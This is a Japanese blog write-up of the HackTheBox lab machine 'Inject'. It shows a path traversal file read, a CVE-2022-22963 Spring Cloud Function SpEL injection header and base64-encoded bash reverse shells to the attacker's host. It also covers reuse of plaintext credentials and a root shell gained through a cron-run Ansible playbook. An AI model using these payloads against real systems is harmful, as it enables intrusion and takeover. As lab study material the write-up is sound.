🐡

HackTheBox Inject Writeup

2023/09/21に公開

はじめに

2023年6月にHacktheBoxでHacker到達し、現在はTryHackMeで修行中です。

Writeup

RHOST=10.129.75.129
LHOST=

Enumeration

いつも通りnmapかけるところからスタート。

nmap -sC -sV -oA all -vv -p- $IP
PORT     STATE SERVICE     REASON  VERSION
22/tcp   open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKZNtFBY2xMX8oDH/EtIMngGHpVX5fyuJLp9ig7NIC9XooaPtK60FoxOLcRr4iccW/9L2GWpp6kT777UzcKtYoijOCtctNClc6tG1hvohEAyXeNunG7GN+Lftc8eb4C6DooZY7oSeO++PgK5oRi3/tg+FSFSi6UZCsjci1NRj/0ywqzl/ytMzq5YoGfzRzIN3HYdFF8RHoW8qs8vcPsEMsbdsy1aGRbslKA2l1qmejyU9cukyGkFjYZsyVj1hEPn9V/uVafdgzNOvopQlg/yozTzN+LZ2rJO7/CCK3cjchnnPZZfeck85k5sw1G5uVGq38qcusfIfCnZlsn2FZzP2BXo5VEoO2IIRudCgJWTzb8urJ6JAWc1h0r6cUlxGdOvSSQQO6Yz1MhN9omUD9r4A5ag4cbI09c1KOnjzIM8hAWlwUDOKlaohgPtSbnZoGuyyHV/oyZu+/1w4HJWJy6urA43u1PFTonOyMkzJZihWNnkHhqrjeVsHTywFPUmTODb8=
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIUJSpBOORoHb6HHQkePUztvh85c2F5k5zMDp+hjFhD8VRC2uKJni1FLYkxVPc/yY3Km7Sg1GzTyoGUxvy+EIsg=
|   256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICZzUvDL0INOklR7AH+iFw+uX+nkJtcw7V+1AsMO9P7p
8080/tcp open  nagios-nsca syn-ack Nagios NSCA
|_http-title: Home
| http-methods:
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

22と8080が開いているので、Webから調査します。

Web探索前に、ディレクトリとサブドメインをツールで探しておきます。
Dirb、Gobuster、wfuzz、FFUFなどありますが違いが分からないので適当につかってます。
いつもはGobuster使いますが今回はwfuzzにしました。

kali:~/htb (master) λ wfuzz -u http://10.129.75.129:8080/FUZZ -w /usr/share/dirb/wordlists/small.txt --sc 200
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.129.75.129:8080/FUZZ
Total requests: 959

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000684:   200        103 L    194 W      5654 Ch     "register"
000000860:   200        53 L     107 W      1857 Ch     "upload"

Total time: 0
Processed Requests: 959
Filtered Requests: 957
Requests/sec.: 0

uploadが見つかったのでアクセスします。
画像をUploadできるサイトのようです。
Upload後View your imageを押すと /show_imageへ遷移します。クエリにはUploadしたファイル名があります。

ここからLFIの可能性を考えます。

http://10.129.75.129:8080/show_image?img=../../../../../../etc/passwd

いけました。
次にディレクトリ探索できるか試します。

http://10.129.75.129:8080/show_image?img=../../../../../../var/www

できました。

階層を下っていくと、/var/www/WebApp/pom.xmlの出力から、dependencyとしてspringframework.cloudのv3.2.2が使用されていることが分かります。
このバージョンはCVE-2022-22963が存在します。
exploit-dbはこちら

Foothold

まず、http://10.129.75.129:8080/functionRouterにアクセスしてPOSTを送ってみる。500エラーが返ってくる。
その後、BurpのRepeaterでHeaderに以下をつける。

spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("{cmd}")'

{cmd}に好きなコマンドを入れることになる。
いつも通り、Listenを開始する

nc -lvnp 1234

普通に以下のリバースシェルを入れても反応しない。

bash -i >& /dev/tcp/Local_IP/1234 0>&1

おそらくスペースなどが取り除かれているぽいので、base64 encodeする。

echo -n "bash -i >& /dev/tcp/Local_IP/1234 0>&1" | base64

色々試すとこれで刺さり、シェルが返ってくる。

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,base64EncodedStrings}|{base64,-d}|{bash,-i}")

Lateral Movement

sudo suするとfrankの権限が低いので他のユーザを探す。

/home/frank/.m2/settings.xmlを開くとphil:DocPhillovestoInject123のCredentialsが見つかるので、ユーザを変える。

su phil

Privilege Escalation

今回はpspyというプロセス確認ツールを使う。
まずはGithubからダウンロード
https://github.com/DominicBreuker/pspy

その後、サーバーを立てる

python3 -m http.server 8000

終わったらwgetでリモートホストにUpload、権限付与、実行する。

wget Local_IP:8000/pspy64
chmod -x pspy64
./pspy64

ansible-parallelが怪しそう。何回も流れてくる。
2つ目のコマンドがplaybook_1.ymlをコピーして別のフォルダに移行しており、1つめでコピーしたファイルを実行している模様。これがcronジョブとして実行されているぽい。

とりあえずplaybook_1.ymlを見てみると、実行されていないときは自動的に起動する模様。実行権限はrootなので、これを悪用して権限昇格を目指す。

philは実行権限を持つstaffグループの一員であると、ls -laidから判明している。
playbook_2.ymlを作成してcronで実行してもらう

- hosts: localhost
  tasks:
  - name: Checking webapp service
    shell: bash -c 'bash -i >& /dev/tcp/Local_IP/4444 0>&1'

Listenはこれ

nc -lvnp 4444

playbook_2.ymlを作成して少し待っているとシェルが返ってくる。
idやwhoamiでroot奪取できたのがわかる。

おわりに

このMachineはアクティブ時代の6月に一度解いているのですが、WriteupがUsershell入手以降保存されてなかったので、再度侵入してWriteup書いてみました。全然思い出せなかったので、ちゃんと復習しようと思いました。

Discussion